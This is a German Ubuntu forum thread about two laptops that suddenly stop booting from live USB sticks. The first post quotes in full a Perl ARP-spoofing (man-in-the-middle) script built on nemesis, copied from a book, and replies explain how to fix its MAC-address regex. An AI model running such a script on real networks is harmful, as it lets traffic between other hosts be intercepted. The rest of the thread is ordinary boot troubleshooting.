ubuntuusers.de

booten von Live-USB-Stick geht auf einmal nicht mehr

Status: Gelöst | Ubuntu-Version: Ubuntu GNOME 16.04 (Xenial Xerus)
Antworten |

muemmel_0811

Anmeldungsdatum:
31. Januar 2008

Beiträge: 91

Hallo miteinander,

gleich vorweg: ich hab 3 Notebooks und diese haben alle mind. irgendeine Linux-Installation (ubuntu, lubuntu, mint... alle zum Testen), die ich alle selbst per USB-Stick installiert habe. Hat also schon des Öfteren funktioniert.

*** Vorgeschichte Anfang *** Gestern wollte ich mit zweien davon dieses Skript ausprobieren:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

# Plausibilität der Argumente prüfen
if($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/) {
    die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n");
}
if($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/) {
    die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n");
}
if($time=~/^$/) {
    $time = 10;
    print("[-] Intervall unbekannt, nehme 10 Sekunden. \n");
}
if($time!~/^[0-9]+$/) {
    die("Funktionsweise ./arp.pl IQ_Gateway IP_Ziel Intervall Netzwerkkarte \n");
}
if($device=~/^$/) {
    $device = '18:db:f2:05:4e:b1';
    print("[-] Netzwerkkarte unbekannt, nehme eth.\n");
}

# Die MAC-Adressen des Gateways und Ziels ermitteln
print("[+] das Echo-Kommando wird an $gateway geschickt.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print("[+] Das Echo-Kommando wird an $target geschickt. \n");
system("ping -c 1 -w 1 $target 2>$1 > /dev/null");

# Die Pakete wurden verschickt, die MAC-Adressen können ermittelt werden
print "[+] MAC-Adressen werden aus dem ARP-Cache ermittelt. \n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);

# Sind die MAC-Adressen plausibel
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) {
    die("[!] Die MAC-Adresse vom $gateway konnte nicht ermittelt werden.");
}
if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) {
    die("[!] Die MAC-Adresse vom $target konnte nicht ermittelt werden.");
}

# die eigene IP und MAC ermitteln
print "[+] Eigene IP und MAC wird mittels ifconfig ermittelt.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "[+] Invervall in Sekunden in dem die Pakete verschickt werden: $time.\n\n";

print "-> Ich: $you[$you_mac]\n";
print "-> Ziel: $target [$target_mac]\n";
print "-> Gateway $gateway [$gateway_mac]\n\n";

# ARP-Pakete werden versendet
while($i) {
    print "[+] Ich schicke ein ARP-Paket, sag dem $target, dass $gateway unter der MAC-Adresse erreichbar ist: $you_mac\n";
    system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
    print "[+] Ich schicke ein ARP-Paket, sag dem $gateway, dass $target unter der MAC-Adresse erreichbar ist: $you_mac\n";
    system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
    sleep $time;
}

# CTRL-C wurde gedrückt, der ursprüngliche Zustand wird wiederhergestellt
sub quit {
    $i = 0;
    print "[-] Programmende. Der ursprüngliche ARP-Zustand wird wieder hergestellt.\n";
    system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
    print "[+] Ich schicke ein ARP-Paket, sag dem $gateway, dass $target unter der MAC-Adresse erreichbar ist: $you_mac\n";
    system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}

Das hab ich mir nicht selbst zusammengebastelt (wenn ich das könnte, dann könnte ich mir wahrscheinlich auch selbst helfen), sondern aus einem Buch abgetippt. Ja, naiv, ich weiß, aber die Kundenmeinungen bei amazon zu dem Buch waren hervorragend, keiner hat von Problemen geschrieben und daher bin ich nicht davon ausgegangen, dass es zu irgendeinem Problem kommen könnte. Und bevor jemand fragt: nein, ich will nicht hacken lernen (mit Ü40 ist man aus dem Alter schon raus), sondern es verstehen und mit meinen Rechnern hier daheim zumindest testen. Gestartet hab ich das Skript von Nr. 1 und die IP-Adressen von Nr. 1 (dell) und Nr. 2 (acer) verwendet und dann die Meldung erhalten, dass irgendwo ein Fehler im Quellcode sein soll. Dann x-mal mit dem Original-Code verglichen und beim besten Willen keinen Tippfehler gefunden und damit war für mich die Sache erledigt. *** Vorgeschichte Ende ***

Jetzt wollte ich auf Nr. 2 noch ein debian installieren und hab mit Erschrecken festgestellt, dass keines der beiden NBs mehr vom USB-Stick bootet. Auf dem Stick ist ein Puppy-Linux mit dem ich normalerweise die Partionen änder, bevor ich ein neues Linux installiere. Dieser Stick bootet aber noch auf Nr.3 (auch ein acer und gerade nochmal getestet) und auf den anderen beiden hat er vor ein paar Tagen auch noch seinen Soll erfüllt. Nun hab ich bei Nr.2 im BIOS gesehen, dass der Stick gar nicht mehr erkannt wird, bei Nr. 1 aber immerhin schon noch. Außerdem kann ich die Bootreihenfolge bei Nr.2 noch so oft ändern und speichern, aber beim nächsten Reboot ist alles wieder auf Ursprung gestellt.

Hat jemand eine Idee, was ich tun kann, damit die beiden NBs wieder vom Stick booten? Die haben nämlich beide kein DVD-Laufwerk mehr...

Vorab schon mal Danke für's Lesen des Romans! muemmel_0811

ChickenLipsRfun2eat Team-Icon

Anmeldungsdatum:
6. Dezember 2009

Beiträge: 12067

Hallo!

Zum perl-Script kann ich mangels Zeit und Interesse nichts beitragen ☺

Da nur eins deiner NB Probleme mit dem Stick hat, könnte es auch einfach sein, dass der USB-Port defekt ist. Wird denn der Stick bei gestartetem OS erkannt, oder ein anderer?

Wie wurde der Stick erstellt? Versuche es mal mit der dd-Methode. Die funktioniert eigentlich™ immer.

Alternativ könntest du auch PXE-Boot lesen und umsetzen. Dann lässt sich übers Netzwerk installieren, wenn das NB das unterstützt.

frostschutz

Avatar von frostschutz

Anmeldungsdatum:
18. November 2010

Beiträge: 7790

Abgetippt?

Also ich hab das Script auch mit Google nochmal gefunden ( http://hack.pl/forum/perl-python-tcl-prolog/3652-skrypt-arp-pl-sniffowanie.html ). Ist ja über 10 Jahre alt. Kein Wunder, ist ja Perl 😈 wer benutzt das heutzutage noch?

Die Lösung in dem Thread dort war jedenfalls, A-F auf a-f (Kleinbuchstaben) zu ändern, weil der arp-Befehl diese Adressen auch in Kleinbuchstaben ausgibt.

Das wolltest du jetzt aber wahrscheinlich gar nicht wissen. Und ausprobiert hab ich es auch nicht.


USB-Boot ist bis heute eine wackelige Geschichte. Manche Boards und USB-Sticks mögen sich einfach nicht, manchmal ist es auch Glückssache (antwortet der Stick beim Bootvorgang schnell genug), etc.

Ob der Stick prinzipiell bootfähig ist kann man z.B. mit Virtualisierung testen, ich boote meinen Stick immer mit KVM.

Wenn da alles OK ist bleibt eigentlich nur, neuen Stick machen und ausprobieren...

apt-ghetto

Anmeldungsdatum:
3. Juni 2014

Beiträge: 2943

frostschutz schrieb:

Die Lösung in dem Thread dort war jedenfalls, A-F auf a-f (Kleinbuchstaben) zu ändern, weil der arp-Befehl diese Adressen auch in Kleinbuchstaben ausgibt.

"Besser" wäre case-insensitive zu matchen. Das kann man einfach mit dem i-Modifizierer erreichen

if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/i) {
    die("[!] Die MAC-Adresse vom $gateway konnte nicht ermittelt werden.");
}

Ich habe das Skript auch nicht ausprobiert:

  • Das Programm nemesis wird schon seit Jahren nicht mehr entwickelt

  • ifconfig ist meines Wissens in Ubuntu schon länger nicht mehr vorinstalliert

Ich bezweifle, dass das Skript die Ursache für deine Bootprobleme ist.

muemmel_0811

(Themenstarter)

Anmeldungsdatum:
31. Januar 2008

Beiträge: 91

Sorry, für die späte Antwort, aber Familie geht vor...

Zu den USB-Ports: bei laufendem Ubuntu/Windows werden die Sticks an allen USB-Ports erkannt. Wäre ehrlich gesagt auch sehr unwahrscheinlich gewesen, dass "über Nacht" 5 USB-Ports auf 2 verschiedenen Notebooks den Geist aufgeben.

Bisher hab ich immer cp verwendet und das ging auch ganz gut. Hab nun die aktuelle Puppy-Version mit dd auf einen Stick "kopiert" und damit bootet noch nicht einmal mehr das 3. Notebook. Der Stick mit der marginal älteren Puppy-Version bootet dagegen noch auf dem 3. Notebook.

@apt-ghetto und frostschutz: dank euch beiden hab ich schon wieder was gelernt 😉 Ich war mir dessen bewusst, dass das Buch schon veraltet ist, aber es geht mir primär um einen grundlegenden Einblick in die Materie. Außerdem hat mir das Abtippen des Skripts insofern was gebracht, dass ich auch etwas über die Funktionsweise des Codes nachgedacht habe, was mir für mein Hobby-Info-Studium sicher nicht schaden kann.

apt-ghetto schrieb:

Ich bezweifle, dass das Skript die Ursache für deine Bootprobleme ist.

Nachdem es das einzige war, was ich in den letzten Tagen mit den beiden Notebooks gemacht hab und auf beiden Notebooks der Puppy-Stick letztes Wochenende noch funktioniert hat, hab ich es halt gleich dazu geschrieben. Auch, wenn ich es schon für sehr unwahrscheinlich gehalten habe, aber das muss bei einem Laien ja nichts heißen...

Leider besteht mein Boot-Problem aber immer noch. Habt ihr noch Ideen, was ich sonst noch probieren könnte?

muemmel_0811

(Themenstarter)

Anmeldungsdatum:
31. Januar 2008

Beiträge: 91

Falls es hilft: habe gerade noch eine ubuntu-Boot-DVD gefunden und habe es über das externe USB-DVD-Laufwerk probiert. Selbes Ergebnis:

Nr. 1 erkennt das Laufwerk im Bios, steht an Bootreihenfolge 1, aber bootet trotzdem nicht.

Nr. 2 erkennt das Laufwerk im Bios nicht, veränderte Bootreihenfolge lässt sich nicht speichern, bootet also auch nicht

Nr. 3 klappt einwandfrei

Es kann also nicht an der Hardware liegen. Habe im I-net auch was von leerer CR2032-Batterie gelesen, aber das kann es doch auch nicht sein, weil bei Nr. 2 sich zumindest die Uhrzeit ändern und speichern lässt und bei Nr. 1 kann ich auch eine veränderte Bootreihenfolge speichern.

So langsam aber sicher könnte ich ganz laut schreien, dass 2 Notebooks über Nacht auf einmal nicht mehr von USB booten wollen. Ich bekomm schon Schnappatmung, wenn ich daran denke, dass ich es wieder mal schaffen könnte, mit irgendeiner harmlosen Software-Installation über die offiziellen Paketquellen das System zu zerschießen und dann nicht einfach ein frisches ubuntu drüber bügeln kann 😮

muemmel_0811

(Themenstarter)

Anmeldungsdatum:
31. Januar 2008

Beiträge: 91

Update

Habe bei meinem Hauptrechner im Bios ubuntu und Windows als Boot-Partitionen deaktiviert und nur noch den Stick aktiviert gelassen. Beim nächsten booten startete der dell eine Selbstdiagnose und konnte dabei keine Hardware-Fehler finden. Einzige Meldung, dass er kein bootfähiges System gefunden hat, obwohl der Stick, der auf Nr. 3 bootet, steckte.

Jetzt hab ich auf einen zweiten Stick das neueste Lubuntu-Image mit dd gespielt und auch der bootet nicht, wird aber bei laufendem System auch als lubuntu-CD-ROM erkannt.

Bin ich mittlerweile vielleicht zu blöd, einen Stick bootfähig zu machen? Folgendes mache ich: 1) alles vom Stick löschen, also Stick ist wirklich nackig

2) mit Gparted neue Partitionstabelle (msdos) erstellen

3) eine Partition mit Fat-32 anlegen

4) iso-image mit cp (zumindest ging das bisher immer) auf Stick erstellen

Ich wüsste jetzt nicht, was daran auf einmal falsch sein sollte, denn die letzten Jahre hat es immer gut funktioniert. Ich bin echt ratlos...

muemmel_0811

(Themenstarter)

Anmeldungsdatum:
31. Januar 2008

Beiträge: 91

Update 2

Mit dem x. Versuch und 5. Stick bootet nun endlich mein Haupt-Notebook wieder. Das andere bootet zwar immer noch nicht, aber damit kann ich (fast) leben.

VG muemmel_0811

Antworten |